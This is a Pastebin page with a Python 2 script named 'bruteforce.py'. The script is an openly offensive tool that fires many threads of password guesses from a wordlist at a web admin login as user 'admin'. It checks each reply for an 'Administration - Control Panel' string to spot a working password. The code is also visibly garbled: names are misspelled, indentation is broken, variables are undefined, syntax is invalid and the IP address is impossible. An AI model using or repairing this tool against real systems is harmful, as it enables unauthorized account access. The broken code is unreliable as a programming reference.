Advertisement
Guest User

bruteforce.py

a guest
Nov 20th, 2017
110
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.40 KB | None | 0 0
  1. #pylint:disable=E0001
  2. #pylint:disable=E0001
  3. #pylint:disable=E0001
  4. #pylint:disable=E0401
  5. import urllib2
  6. import urllib
  7. import cookielib
  8. import threading
  9. import sys
  10. import Qeue
  11.  
  12. from HTMLParser import HTMLParser
  13.  
  14. #general settings
  15. user_thread =  10
  16. username    = "admin"
  17. wordlist_file   = "/data/list.txt"
  18. resume  = none
  19.  
  20. #target specific settings
  21. target_url  = "http://192.268.0/fkdkdkd.php"
  22. target_post = "http://192.168.0/fkdkdkd.php"
  23.  
  24. username_field= "username"
  25. password_field= "password"
  26.  
  27. success_check = "Administration - Control Panel"
  28.  
  29. class Bruter(object):
  30.     def __init__self(self, username,words):
  31.        
  32.         self.username = username
  33.         self.password_q = words
  34.         self.found = False
  35.        
  36.         print ("Finished setting up for: %s") % username
  37.        
  38. def run_bruteforce(self):
  39.    
  40.     for i in range(user_thread):
  41.         t = threading.Thread(target = self.web_bruter)
  42.         t.start()      
  43.        
  44. def web_bruter(self):
  45.    
  46.             while not self.password_q.empty() and not self.found:
  47.                 brute = self.password_q.get().rstrip()
  48.                 jar = cookielib.FileCookieJar("cookies")
  49.                 opener = urllib2.build_opener(urllib2.HTTPCookieProcessor(jar))
  50.                 response = opener.open(target_url) 
  51.                
  52.                 page = response.read()
  53.                    
  54.             print("Trying: %s : %s ( %d left)") % (self.username,brute,self.password_q.qsize())
  55.                    
  56.                     parser = BruteParser()
  57.                         parser.feed(page)
  58.                        
  59.                         post_tags = parser.tag_results
  60.                        
  61.                         post_tags[username_field] = self.username
  62.                         post_tags[password_field] =brute
  63.                        
  64.                             login_data = urllib.urlencode(poster_tags)
  65.                         login_response = opener.open(target_post, login_data)
  66.                        
  67.                         login_result =login_response.read()
  68.                        
  69.                                 if success_check in login_result:
  70.                                     self.found = True
  71.                                     print "[*] Bruteforce succesfull."
  72.                                     print "[*]Username: %s" % username
  73.                                     print "[*] Password: %s" %brute
  74.                                     print "[*]Waiting for other threads to exit..."
  75.                                    
  76. class BruteParser(HTMLParser):
  77.     def __init__(self):
  78.         HTMLParser.__init__(self)
  79.         self.tag_results = ()
  80.        
  81. def handle_starttag(self, tag, attrs):
  82.     if tag == "input":
  83.         tag_name = None
  84.         tage_value = None
  85.         for name, value in attrs:
  86.             if name =="name"
  87.                 tag_name = value
  88.             if name == "value":
  89.                 tag_value = value
  90.                
  91.                                                                                                             if tag_name is not None:
  92.         self.tag_results[tag_name] = value
  93.        
  94. words = build-wordlist(wordlist_file)
  95.  
  96. bruter_obj = Bruter (username, words)          
  97. bruter_obj.run_bruteforce()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement